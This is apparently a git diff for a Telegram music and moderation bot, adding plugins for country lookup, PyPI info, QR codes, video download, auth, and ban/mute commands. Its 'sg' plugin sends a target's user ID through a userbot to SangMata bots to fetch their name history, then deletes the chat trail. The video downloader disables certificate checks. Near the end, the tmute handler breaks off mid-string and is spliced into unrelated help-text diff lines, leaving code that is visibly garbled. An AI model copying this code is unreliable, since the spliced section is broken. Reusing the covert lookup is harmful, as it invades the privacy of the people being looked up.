+ btn = InlineKeyboardMarkup([[InlineKeyboardButton('𝗔𝗗𝗗 𝗠𝗘', url='https://t.me/TheChampuBot?startgroup=true')]])
+ await message.edit_text(text=txt, reply_markup=btn, parse_mode=enums.ParseMode.HTML)
diff --git a/ChampuXMusic/plugins/TheChampu/population.py b/ChampuXMusic/plugins/TheChampu/population.py
new file mode 100644
index 0000000..561a1d0
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/population.py
@@ -0,0 +1,40 @@
+from pyrogram import Client, filters
+from pyrogram.types import Message
+import requests
+from ChampuXMusic import app
+
+
+@app.on_message(filters.command("population"))
+def country_command_handler(client: Client, message: Message):
+ # Extract the country code from the command
+ country_code = message.text.split(maxsplit=1)[1].strip()
+
+ # Call the external API for country information
+ api_url = f"https://restcountries.com/v3.1/alpha/{country_code}"
+
+ try:
+ response = requests.get(api_url)
+ response.raise_for_status() # Raise an HTTPError for bad responses
+
+ country_info = response.json()
+ if country_info:
+ # Extract relevant information from the API response
+ country_name = country_info[0].get("name", {}).get("common", "N/A")
+ capital = country_info[0].get("capital", ["N/A"])[0]
+ population = country_info[0].get("population", "N/A")
+
+ response_text = (
+ f"Country Information\n\n"
+ f"Name: {country_name}\n"
+ f"Capital: {capital}\n"
+ f"Population: {population}"
+ )
+ else:
+ response_text = "Error fetching country information from the API."
+ except requests.exceptions.HTTPError as http_err:
+ response_text = f"HTTP error occurred Enter correct Country code"
+ except Exception as err:
+ response_text = f" Error "
+
+ # Send the response to the Telegram chat
+ message.reply_text(response_text)
diff --git a/ChampuXMusic/plugins/TheChampu/pypi.py b/ChampuXMusic/plugins/TheChampu/pypi.py
new file mode 100644
index 0000000..06de247
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/pypi.py
@@ -0,0 +1,49 @@
+from pyrogram import Client, filters
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
+import requests
+from ChampuXMusic import app
+
+
+def get_pypi_info(package_name):
+ try:
+
+ api_url = f"https://pypi.org/pypi/{package_name}/json"
+
+ # Sending a request to the PyPI API
+ response = requests.get(api_url)
+
+ # Extracting information from the API response
+ pypi_info = response.json()
+
+ return pypi_info
+
+ except Exception as e:
+ print(f"Error fetching PyPI information: {e}")
+ return None
+
+@app.on_message(filters.command("pypi", prefixes="/"))
+def pypi_info_command(client, message):
+ try:
+
+ package_name = message.command[1]
+
+ # Getting information from PyPI
+ pypi_info = get_pypi_info(package_name)
+
+ if pypi_info:
+ # Creating a message with PyPI information
+ info_message = f"ᴘᴀᴄᴋᴀɢᴇ ɴᴀᴍᴇ ➪ {pypi_info['info']['name']}\n\n" \
+ f"Lᴀᴛᴇsᴛ ᴠɪʀsɪᴏɴ➪ {pypi_info['info']['version']}\n\n" \
+ f"Dᴇsᴄʀɪᴘᴛɪᴏɴ➪ {pypi_info['info']['summary']}\n\n" \
+ f"ᴘʀᴏJᴇᴄᴛ ᴜʀʟ➪ {pypi_info['info']['project_urls']['Homepage']}"
+
+ # Sending the PyPI information back to the user
+ client.send_message(message.chat.id, info_message)
+
+ else:
+ # Handling the case where information retrieval failed
+ client.send_message(message.chat.id, "Failed to fetch information from PyPI.")
+
+ except IndexError:
+
+ client.send_message(message.chat.id, "Please provide a package name after the /pypi command.")
diff --git a/ChampuXMusic/plugins/TheChampu/qr.py b/ChampuXMusic/plugins/TheChampu/qr.py
new file mode 100644
index 0000000..6389b45
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/qr.py
@@ -0,0 +1,40 @@
+from pyrogram import Client, filters
+from pyrogram.types import Message
+import qrcode
+from ChampuXMusic import app
+from PIL import Image
+import io
+
+
+
+# Function to create a QR code
+def generate_qr_code(text):
+ qr = qrcode.QRCode(
+ version=1,
+ error_correction=qrcode.constants.ERROR_CORRECT_L,
+ box_size=10,
+ border=4,
+ )
+ qr.add_data(text)
+ qr.make(fit=True)
+
+ img = qr.make_image(fill_color="white", back_color="black")
+
+ # Save the QR code to a bytes object to send with Pyrogram
+ img_bytes = io.BytesIO()
+ img.save(img_bytes, format='PNG')
+ img_bytes.seek(0) # Go to the start of the bytes object
+
+ return img_bytes
+
+
+@app.on_message(filters.command("qr"))
+def qr_handler(client, message: Message):
+ # Extracting the text passed after the command
+ command_text = message.command
+ if len(command_text) > 1:
+ input_text = " ".join(command_text[1:])
+ qr_image = generate_qr_code(input_text)
+ message.reply_photo(qr_image, caption="Here's your QR Code")
+ else:
+ message.reply_text("Please provide the text for the QR code after the command. Example usage: /qr text")
diff --git a/ChampuXMusic/plugins/TheChampu/sg.py b/ChampuXMusic/plugins/TheChampu/sg.py
new file mode 100644
index 0000000..2920e95
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/sg.py
@@ -0,0 +1,53 @@
+import asyncio
+import random
+
+from pyrogram import Client, filters
+from pyrogram.types import Message
+from pyrogram.raw.functions.messages import DeleteHistory
+
+from ChampuXMusic import userbot as us, app
+from ChampuXMusic.core.userbot import assistants
+
+@app.on_message(filters.command("sg"))
+async def sg(client: Client, message: Message):
+ if len(message.text.split()) < 1 and not message.reply_to_message:
+ return await message.reply("sg username/id/reply")
+ if message.reply_to_message:
+ args = message.reply_to_message.from_user.id
+ else:
+ args = message.text.split()[1]
+ lol = await message.reply("Processing...
")
+ if args:
+ try:
+ user = await client.get_users(f"{args}")
+ except Exception:
+ return await lol.edit("Please specify a valid user!
")
+ bo = ["sangmata_bot", "sangmata_beta_bot"]
+ sg = random.choice(bo)
+ if 1 in assistants:
+ ubot = us.one
+
+ try:
+ a = await ubot.send_message(sg, f"{user.id}")
+ await a.delete()
+ except Exception as e:
+ return await lol.edit(e)
+ await asyncio.sleep(1)
+
+ async for stalk in ubot.search_messages(a.chat.id):
+ if stalk.text == None:
+ continue
+ if not stalk:
+ await message.reply("botnya ngambek")
+ elif stalk:
+ await message.reply(f"{stalk.text}")
+ break # Exit the loop after displaying one message
+
+ try:
+ user_info = await ubot.resolve_peer(sg)
+ await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True))
+ except Exception:
+ pass
+
+ await lol.delete()
+
diff --git a/ChampuXMusic/plugins/TheChampu/video.py b/ChampuXMusic/plugins/TheChampu/video.py
new file mode 100644
index 0000000..1132af3
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/video.py
@@ -0,0 +1,111 @@
+import future
+
+import asyncio
+import os
+import time
+from urllib.parse import urlparse
+
+import wget
+from pyrogram import filters
+from pyrogram.types import Message
+from youtubesearchpython import SearchVideos
+from yt_dlp import YoutubeDL
+
+from ChampuXMusic import app
+
+
+def get_file_extension_from_url(url):
+ url_path = urlparse(url).path
+ basename = os.path.basename(url_path)
+ return basename.split(".")[-1]
+
+
+def get_text(message: Message) -> [None, str]:
+ """Extract Text From Commands"""
+ text_to_return = message.text
+ if message.text is None:
+ return None
+ if " " in text_to_return:
+ try:
+ return message.text.split(None, 1)[1]
+ except IndexError:
+ return None
+ else:
+ return None
+
+
+@app.on_message(filters.command(["yt", "video"]))
+async def ytmusic(client, message: Message):
+ urlissed = get_text(message)
+ await message.delete()
+ user_id = message.from_user.id
+ user_name = message.from_user.first_name
+ chutiya = "[" + user_name + "](tg://user?id=" + str(user_id) + ")"
+
+ pablo = await client.send_message(message.chat.id, f"sᴇᴀʀᴄʜɪɴɢ, ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ...")
+ if not urlissed:
+ await pablo.edit(
+ "😴 sᴏɴɢ ɴᴏᴛ ғᴏᴜɴᴅ ᴏɴ ʏᴏᴜᴛᴜʙᴇ.\n\n» ᴍᴀʏʙᴇ ᴛᴜɴᴇ ɢᴀʟᴛɪ ʟɪᴋʜᴀ ʜᴏ, ᴩᴀᴅʜᴀɪ - ʟɪᴋʜᴀɪ ᴛᴏʜ ᴋᴀʀᴛᴀ ɴᴀʜɪ ᴛᴜ !"
+ )
+ return
+
+ search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1)
+ mi = search.result()
+ mio = mi["search_result"]
+ mo = mio[0]["link"]
+ thum = mio[0]["title"]
+ fridayz = mio[0]["id"]
+ thums = mio[0]["channel"]
+ kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg"
+ await asyncio.sleep(0.6)
+ url = mo
+ sedlyf = wget.download(kekme)
+ opts = {
+ "format": "best",
+ "addmetadata": True,
+ "key": "FFmpegMetadata",
+ "prefer_ffmpeg": True,
+ "geo_bypass": True,
+ "nocheckcertificate": True,
+ "postprocessors": [{"key": "FFmpegVideoConvertor", "preferedformat": "mp4"}],
+ "outtmpl": "%(id)s.mp4",
+ "logtostderr": False,
+ "quiet": True,
+ }
+ try:
+ with YoutubeDL(opts) as ytdl:
+ infoo = ytdl.extract_info(url, False)
+ round(infoo["duration"] / 60)
+ ytdl_data = ytdl.extract_info(url, download=True)
+
+ except Exception as e:
+ await pablo.edit(f"**ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ.** \n**ᴇʀʀᴏʀ :** `{str(e)}`")
+ return
+ c_time = time.time()
+ file_stark = f"{ytdl_data['id']}.mp4"
+ capy = f"❄ **ᴛɪᴛʟᴇ :** [{thum}]({mo})\n💫 **ᴄʜᴀɴɴᴇʟ :** {thums}\n✨ **sᴇᴀʀᴄʜᴇᴅ :** {urlissed}\n🥀 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :** {chutiya}"
+ await client.send_video(
+ message.chat.id,
+ video=open(file_stark, "rb"),
+ duration=int(ytdl_data["duration"]),
+ file_name=str(ytdl_data["title"]),
+ thumb=sedlyf,
+ caption=capy,
+ supports_streaming=True,
+ progress_args=(
+ pablo,
+ c_time,
+ f"» ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nᴜᴩʟᴏᴀᴅɪɴɢ `{urlissed}` ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ sᴇʀᴠᴇʀs...💫",
+ file_stark,
+ ),
+ )
+ await pablo.delete()
+ for files in (sedlyf, file_stark):
+ if files and os.path.exists(files):
+ os.remove(files)
+
+
+__mod_name__ = "Vɪᴅᴇᴏ"
+__help__ = """
+/video to download video song
+/yt to download video song """
diff --git a/Champu/plugins/__init__.py b/ChampuXMusic/plugins/__init__.py
similarity index 80%
rename from Champu/plugins/__init__.py
rename to ChampuXMusic/plugins/__init__.py
index 775bf92..255d2b3 100644
--- a/Champu/plugins/__init__.py
+++ b/ChampuXMusic/plugins/__init__.py
@@ -9,9 +9,7 @@ def __list_all_modules():
all_modules = [
(((f.replace(work_dir, "")).replace("/", "."))[:-3])
for f in mod_paths
- if isfile(f)
- and f.endswith(".py")
- and not f.endswith("__init__.py")
+ if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py")
]
return all_modules
diff --git a/ChampuXMusic/plugins/admins/auth.py b/ChampuXMusic/plugins/admins/auth.py
new file mode 100644
index 0000000..0d5e53a
--- /dev/null
+++ b/ChampuXMusic/plugins/admins/auth.py
@@ -0,0 +1,90 @@
+from pyrogram import filters
+from pyrogram.types import Message
+
+from ChampuXMusic import app
+from ChampuXMusic.utils import extract_user, int_to_alpha
+from ChampuXMusic.utils.database import (
+ delete_authuser,
+ get_authuser,
+ get_authuser_names,
+ save_authuser,
+)
+from ChampuXMusic.utils.decorators import AdminActual, language
+from ChampuXMusic.utils.inline import close_markup
+from config import BANNED_USERS, adminlist
+
+
+@app.on_message(filters.command("auth") & filters.group & ~BANNED_USERS)
+@AdminActual
+async def auth(client, message: Message, _):
+ if not message.reply_to_message:
+ if len(message.command) != 2:
+ return await message.reply_text(_["general_1"])
+ user = await extract_user(message)
+ token = await int_to_alpha(user.id)
+ _check = await get_authuser_names(message.chat.id)
+ count = len(_check)
+ if int(count) == 25:
+ return await message.reply_text(_["auth_1"])
+ if token not in _check:
+ assis = {
+ "auth_user_id": user.id,
+ "auth_name": user.first_name,
+ "admin_id": message.from_user.id,
+ "admin_name": message.from_user.first_name,
+ }
+ get = adminlist.get(message.chat.id)
+ if get:
+ if user.id not in get:
+ get.append(user.id)
+ await save_authuser(message.chat.id, token, assis)
+ return await message.reply_text(_["auth_2"].format(user.mention))
+ else:
+ return await message.reply_text(_["auth_3"].format(user.mention))
+
+
+@app.on_message(filters.command("unauth") & filters.group & ~BANNED_USERS)
+@AdminActual
+async def unauthusers(client, message: Message, _):
+ if not message.reply_to_message:
+ if len(message.command) != 2:
+ return await message.reply_text(_["general_1"])
+ user = await extract_user(message)
+ token = await int_to_alpha(user.id)
+ deleted = await delete_authuser(message.chat.id, token)
+ get = adminlist.get(message.chat.id)
+ if get:
+ if user.id in get:
+ get.remove(user.id)
+ if deleted:
+ return await message.reply_text(_["auth_4"].format(user.mention))
+ else:
+ return await message.reply_text(_["auth_5"].format(user.mention))
+
+
+@app.on_message(
+ filters.command(["authlist", "authusers"]) & filters.group & ~BANNED_USERS
+)
+@language
+async def authusers(client, message: Message, _):
+ _wtf = await get_authuser_names(message.chat.id)
+ if not _wtf:
+ return await message.reply_text(_["setting_4"])
+ else:
+ j = 0
+ mystic = await message.reply_text(_["auth_6"])
+ text = _["auth_7"].format(message.chat.title)
+ for umm in _wtf:
+ _umm = await get_authuser(message.chat.id, umm)
+ user_id = _umm["auth_user_id"]
+ admin_id = _umm["admin_id"]
+ admin_name = _umm["admin_name"]
+ try:
+ user = (await app.get_users(user_id)).first_name
+ j += 1
+ except:
+ continue
+ text += f"{j}➤ {user}[{user_id}
]\n"
+ text += f" {_['auth_8']} {admin_name}[{admin_id}
]\n\n"
+ await mystic.edit_text(text, reply_markup=close_markup(_))
+
diff --git a/ChampuXMusic/plugins/admins/ban.py b/ChampuXMusic/plugins/admins/ban.py
new file mode 100644
index 0000000..6617c94
--- /dev/null
+++ b/ChampuXMusic/plugins/admins/ban.py
@@ -0,0 +1,420 @@
+from pyrogram import filters, enums
+from pyrogram.types import (
+ InlineKeyboardButton,
+ InlineKeyboardMarkup,
+ ChatPermissions
+)
+from pyrogram.errors.exceptions.bad_request_400 import (
+ ChatAdminRequired,
+ UserAdminInvalid,
+ BadRequest
+)
+
+import datetime
+from ChampuXMusic import app
+
+
+
+
+def mention(user, name, mention=True):
+ if mention == True:
+ link = f"[{name}](tg://openmessage?user_id={user})"
+ else:
+ link = f"[{name}](https://t.me/{user})"
+ return link
+
+
+
+async def get_userid_from_username(username):
+ try:
+ user = await app.get_users(username)
+ except:
+ return None
+
+ user_obj = [user.id, user.first_name]
+ return user_obj
+
+
+async def ban_user(user_id, first_name, admin_id, admin_name, chat_id, reason, time=None):
+ try:
+ await app.ban_chat_member(chat_id, user_id)
+ except ChatAdminRequired:
+ msg_text = "Ban rights? Nah, I'm just here for the digital high-fives 🙌\nGive me ban rights! 😡🥺"
+ return msg_text, False
+ except UserAdminInvalid:
+ msg_text = "I wont ban an admin bruh!!"
+ return msg_text, False
+ except Exception as e:
+ if user_id == 6711389550:
+ msg_text = "why should i ban myself? sorry but I'm not stupid like you"
+ return msg_text, False
+
+ msg_text = f"opps!!\n{e}"
+ return msg_text, False
+
+ user_mention = mention(user_id, first_name)
+ admin_mention = mention(admin_id, admin_name)
+
+ msg_text += f""
+ msg_text += f"{user_mention} was banned by {admin_mention}\n"
+
+ if reason:
+ msg_text += f"Reason: `{reason}`\n"
+ if time:
+ msg_text += f"Time: `{time}`\n"
+
+ return msg_text, True
+
+
+async def unban_user(user_id, first_name, admin_id, admin_name, chat_id):
+ try:
+ await app.unban_chat_member(chat_id, user_id)
+ except ChatAdminRequired:
+ msg_text = "Ban rights? Nah, I'm just here for the digital high-fives 🙌\nGive me ban rights! 😡🥺"
+ return msg_text
+ except Exception as e:
+ msg_text = f"opps!!\n{e}"
+ return msg_text
+
+ user_mention = mention(user_id, first_name)
+ admin_mention = mention(admin_id, admin_name)
+
+ msg_text = f"{user_mention} was unbanned by {admin_mention}"
+ return msg_text
+
+
+
+async def mute_user(user_id, first_name, admin_id, admin_name, chat_id, reason, time=None):
+ try:
+ if time:
+ mute_end_time = datetime.datetime.now() + time
+ await app.restrict_chat_member(chat_id, user_id, ChatPermissions(), mute_end_time)
+ else:
+ await app.restrict_chat_member(chat_id, user_id, ChatPermissions())
+ except ChatAdminRequired:
+ msg_text = "Mute rights? Nah, I'm just here for the digital high-fives 🙌\nGive me mute rights! 😡🥺"
+ return msg_text, False
+ except UserAdminInvalid:
+ msg_text = "I wont mute an admin bruh!!"
+ return msg_text, False
+ except Exception as e:
+ if user_id == 6664582540:
+ msg_text = "why should i mute myself? sorry but I'm not stupid like you"
+ return msg_text, False
+
+ msg_text = f"opps!!\n{e}"
+ return msg_text, False
+
+ user_mention = mention(user_id, first_name)
+ admin_mention = mention(admin_id, admin_name)
+
+ msg_text += f"{user_mention} was muted by {admin_mention}\n"
+
+ if reason:
+ msg_text += f"Reason: `{reason}`\n"
+ if time:
+ msg_text += f"Time: `{time}`\n"
+
+ return msg_text, True
+
+
+async def unmute_user(user_id, first_name, admin_id, admin_name, chat_id):
+ try:
+ await app.restrict_chat_member(
+ chat_id,
+ user_id,
+ ChatPermissions(
+ can_send_media_messages=True,
+ can_send_messages=True,
+ can_send_other_messages=True,
+ can_send_polls=True,
+ can_add_web_page_previews=True,
+ can_invite_users=True
+ )
+ )
+ except ChatAdminRequired:
+ msg_text = "Mute rights? Nah, I'm just here for the digital high-fives 🙌\nGive me unmute rights! 😡🥺"
+ return msg_text
+ except Exception as e:
+ msg_text = f"opps!!\n{e}"
+ return msg_text
+
+ user_mention = mention(user_id, first_name)
+ admin_mention = mention(admin_id, admin_name)
+
+ msg_text = f"{user_mention} was unmuted by {admin_mention}"
+ return msg_text
+
+
+
+@app.on_message(filters.command(["ban"]))
+async def ban_command_handler(client, message):
+ chat = message.chat
+ chat_id = chat.id
+ admin_id = message.from_user.id
+ admin_name = message.from_user.first_name
+ member = await chat.get_member(admin_id)
+ if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER:
+ if member.privileges.can_restrict_members:
+ pass
+ else:
+ msg_text = "You dont have permission to ban someone"
+ return await message.reply_text(msg_text)
+ else:
+ msg_text = "You dont have permission to ban someone"
+ return await message.reply_text(msg_text)
+
+ # Extract the user ID from the command or reply
+ if len(message.command) > 1:
+ if message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ reason = message.text.split(None, 1)[1]
+ else:
+ try:
+ user_id = int(message.command[1])
+ first_name = "User"
+ except:
+ user_obj = await get_userid_from_username(message.command[1])
+ if user_obj == None:
+ return await message.reply_text("I can't find that user")
+ user_id = user_obj[0]
+ first_name = user_obj[1]
+
+ try:
+ reason = message.text.partition(message.command[1])[2]
+ except:
+ reason = None
+
+ elif message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ reason = None
+ else:
+ await message.reply_text("Please specify a valid user or reply to that user's message")
+ return
+
+ msg_text, result = await ban_user(user_id, first_name, admin_id, admin_name, chat_id, reason)
+ if result == True:
+ await message.reply_text(msg_text)
+ if result == False:
+ await message.reply_text(msg_text)
+
+
+@app.on_message(filters.command(["unban"]))
+async def unban_command_handler(client, message):
+ chat = message.chat
+ chat_id = chat.id
+ admin_id = message.from_user.id
+ admin_name = message.from_user.first_name
+ member = await chat.get_member(admin_id)
+ if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER:
+ if member.privileges.can_restrict_members:
+ pass
+ else:
+ msg_text = "You dont have permission to unban someone"
+ return await message.reply_text(msg_text)
+ else:
+ msg_text = "You dont have permission to unban someone"
+ return await message.reply_text(msg_text)
+
+ # Extract the user ID from the command or reply
+ if len(message.command) > 1:
+ try:
+ user_id = int(message.command[1])
+ first_name = "User"
+ except:
+ user_obj = await get_userid_from_username(message.command[1])
+ if user_obj == None:
+ return await message.reply_text("I can't find that user")
+ user_id = user_obj[0]
+ first_name = user_obj[1]
+
+ elif message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ else:
+ await message.reply_text("Please specify a valid user or reply to that user's message")
+ return
+
+ msg_text = await unban_user(user_id, first_name, admin_id, admin_name, chat_id)
+ await message.reply_text(msg_text)
+
+
+
+
+@app.on_message(filters.command(["mute"]))
+async def mute_command_handler(client, message):
+ chat = message.chat
+ chat_id = chat.id
+ admin_id = message.from_user.id
+ admin_name = message.from_user.first_name
+ member = await chat.get_member(admin_id)
+ if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER:
+ if member.privileges.can_restrict_members:
+ pass
+ else:
+ msg_text = "You dont have permission to mute someone"
+ return await message.reply_text(msg_text)
+ else:
+ msg_text = "You dont have permission to mute someone"
+ return await message.reply_text(msg_text)
+
+ # Extract the user ID from the command or reply
+ if len(message.command) > 1:
+ if message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ reason = message.text.split(None, 1)[1]
+ else:
+ try:
+ user_id = int(message.command[1])
+ first_name = "User"
+ except:
+ user_obj = await get_userid_from_username(message.command[1])
+ if user_obj == None:
+ return await message.reply_text("I can't find that user")
+ user_id = user_obj[0]
+ first_name = user_obj[1]
+
+ try:
+ reason = message.text.partition(message.command[1])[2]
+ except:
+ reason = None
+
+ elif message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ reason = None
+ else:
+ await message.reply_text("Please specify a valid user or reply to that user's message")
+ return
+
+ msg_text, result = await mute_user(user_id, first_name, admin_id, admin_name, chat_id, reason)
+ if result == True:
+ await message.reply_text(msg_text)
+
+ if result == False:
+ await message.reply_text(msg_text)
+
+
+@app.on_message(filters.command(["unmute"]))
+async def unmute_command_handler(client, message):
+ chat = message.chat
+ chat_id = chat.id
+ admin_id = message.from_user.id
+ admin_name = message.from_user.first_name
+ member = await chat.get_member(admin_id)
+ if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER:
+ if member.privileges.can_restrict_members:
+ pass
+ else:
+ msg_text = "You dont have permission to unmute someone"
+ return await message.reply_text(msg_text)
+ else:
+ msg_text = "You dont have permission to unmute someone"
+ return await message.reply_text(msg_text)
+
+ # Extract the user ID from the command or reply
+ if len(message.command) > 1:
+ try:
+ user_id = int(message.command[1])
+ first_name = "User"
+ except:
+ user_obj = await get_userid_from_username(message.command[1])
+ if user_obj == None:
+ return await message.reply_text("I can't find that user")
+ user_id = user_obj[0]
+ first_name = user_obj[1]
+
+ elif message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ else:
+ await message.reply_text("Please specify a valid user or reply to that user's message")
+ return
+
+ msg_text = await unmute_user(user_id, first_name, admin_id, admin_name, chat_id)
+ await message.reply_text(msg_text)
+
+
+
+
+
+@app.on_message(filters.command(["tmute"]))
+async def tmute_command_handler(client, message):
+ chat = message.chat
+ chat_id = chat.id
+ admin_id = message.from_user.id
+ admin_name = message.from_user.first_name
+ member = await chat.get_member(admin_id)
+ if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER:
+ if member.privileges.can_restrict_members:
+ pass
+ else:
+ msg_text = "You dont have permission to mute someone"
+ return await message.reply_text(msg_text)
+ else:
+ msg_text = "You dont have permission to mute someone"
+ return await message.reply_text(msg_text)
+
+ # Extract the user ID from the command or reply
+ if len(message.command) > 1:
+ if message.reply_to_message:
+ user_id = message.reply_to_message.from_user.id
+ first_name = message.reply_to_message.from_user.first_name
+ time = message.text.split(None, 1)[1]
+
+ try:
+ time_amount = time.split(time[-1])[0]
+ time_amount = int(time_amount)
+ except:
+ return await message.reply_text("wrong format!!\nFormat: `/tmute 2m`")
+
+ if time[-1] == "m":
+ mute_duration = datetime.timedelta(minutes=time_amount)
+ elif time[-1] == "h":
+ mute_duration = datetime.timedelta(hours=time_amount)
+ elif time[-1] == "d":
+ mute_duration = datetime.timedelta(days=time_amount)
+ else:
+ return await message.reply_text("wrong format!!\nFormat:\nm: Minutes\nh: Hours\nd: Days")
+ else:
+ try:
+ user_id = int(message.command[1])
+ first_name = "User"
+ except:
+ user_obj = await get_userid_from_username(message.command[1])
+ if user_obj == None:
+ return await message.reply_text("I can't find that user")
+ user_id = user_obj[0]
+ first_name = user_obj[1]
+
+ try:
+ time = message.text.partition(message.command[1])[2]
+ try:
+ time_amount = time.split(time[-1])[0]
+ time_amount = int(time_amount)
+ except:
+ return await message.reply_text("wrong format!!\nFormat: `/tmute 2m`")
+
+ if time[-1] == "m":
+ mute_duration = datetime.timedelta(minutes=time_amount)
+ elif time[-1] == "h":
+ mute_duration = datetime.timedelta(hours=time_amount)
+ elif time[-1] == "d":
+ mute_duration = datetime.timedelta(days=time_amount)
+ else:
+ return await message.reply_text("wrong format!!\nFormat:\nm: Minutes\nh: Hours\nd: Days")
+ except:
+ return await message.reply_text("Please specify a valid user or reply to that user's message\nFormat: `/tmute @user 2m`")
+
+ else:
+ await message.reply_text("Please specify a valid user or reply to that user's message\nFormat: /tmute /broadcast -user -assistant -pin ᴛᴇsᴛɪɴɢ ʙʀᴏᴀᴅᴄᴀsᴛ
+"""
-HELP_3 = """✅**Bot Commands:**
+HELP_4 = """ᴄʜᴀᴛ ʙʟᴀᴄᴋʟɪsᴛ ғᴇᴀᴛᴜʀᴇ : [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs]
-/stats - Get Top 10 Tracks Global Stats, Top 10 Users of bot, Top 10 Chats on bot, Top 10 Played in a chat etc etc.
+ʀᴇsᴛʀɪᴄᴛ sʜɪᴛ ᴄʜᴀᴛs ᴛᴏ ᴜsᴇ ᴏᴜʀ ᴘʀᴇᴄɪᴏᴜs ʙᴏᴛ.
-/sudolist - Check Sudo Users of Champu Music Bot
+/blacklistchat [ᴄʜᴀᴛ ɪᴅ] : ʙʟᴀᴄᴋʟɪsᴛ ᴀ ᴄʜᴀᴛ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.
+/whitelistchat [ᴄʜᴀᴛ ɪᴅ] : ᴡʜɪᴛᴇʟɪsᴛ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ.
+/blacklistedchat : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs.
+"""
-/lyrics [Music Name] - Searches Lyrics for the particular Music on web.
+HELP_5 = """
+ʙʟᴏᴄᴋ ᴜsᴇʀs: [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs]
-/song [Track Name] or [YT Link] - Download any track from youtube in mp3 or mp4 formats.
+sᴛᴀʀᴛs ɪɢɴᴏʀɪɴɢ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴜsᴇʀ, sᴏ ᴛʜᴀᴛ ʜᴇ ᴄᴀɴ'ᴛ ᴜsᴇ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs.
-/player - Get a interactive Playing Panel.
+/block [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ʙʟᴏᴄᴋ ᴛʜᴇ ᴜsᴇʀ ғʀᴏᴍ ᴏᴜʀ ʙᴏᴛ.
+/unblock [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ᴜɴʙʟᴏᴄᴋs ᴛʜᴇ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀ.
+/blockedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs.
+"""
-**c** stands for channel play.
+HELP_6 = """
+ᴄʜᴀɴɴᴇʟ ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs:
-/queue or /cqueue- Check Queue List of Music."""
+ʏᴏᴜ ᴄᴀɴ sᴛʀᴇᴀᴍ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ɪɴ ᴄʜᴀɴɴᴇʟ.
-HELP_4 = """✅**Extra Commands:**
-/start - Start the Music Bot.
-/help - Get Commands Helper Menu with detailed explanations of commands.
-/ping- Ping the Bot and check Ram, Cpu etc stats of Bot.
+/cplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴀᴜᴅɪᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.
+/cvplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴠɪᴅᴇᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.
+/cplayforce or /cvplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.
-✅**Group Settings:**
-/settings - Get a complete group's settings with inline buttons
